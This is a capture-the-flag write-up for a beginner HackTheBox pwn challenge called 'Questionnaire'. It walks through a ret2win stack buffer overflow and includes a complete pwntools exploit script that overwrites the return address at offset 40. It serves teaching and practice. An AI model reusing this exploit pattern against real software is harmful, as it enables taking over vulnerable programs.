Questionnaire

Platform: HackTheBox | Category: Pwn | Difficulty: Very Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

It's time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. Given 2 files, 64 bit binary file and it's source-code.

2. Check the binary's protections.

3. Let's analyze the source-code.

4. It's a simple ret2win challenge, where the buffer variable holds 32 as it's buffer but the fgets() specified that the user can enter up to 256 bytes.

5. We can use this to control the RIP to change the return address to the gg() to get the flag.

6. Let's find the RIP offset.

7. Got the offset at 40, let's grab the gg() address and ret; gadget to align payload we're sending.

THE SCRIPT

 py read-only • copy allowed Copy
from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'

sh = start()

ret = 0x000000000040101a

padding = 40

p = flat([
    asm('nop') * padding,
    ret,
    0x401176
])

sh.sendline(p)

sh.interactive()

LOCALLY

1. Great! We jumped there, let's run it remotely.

2. It's a question, so we don't get the flag by sending our payload (?)

3. Let's answer all of it.

4. Got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.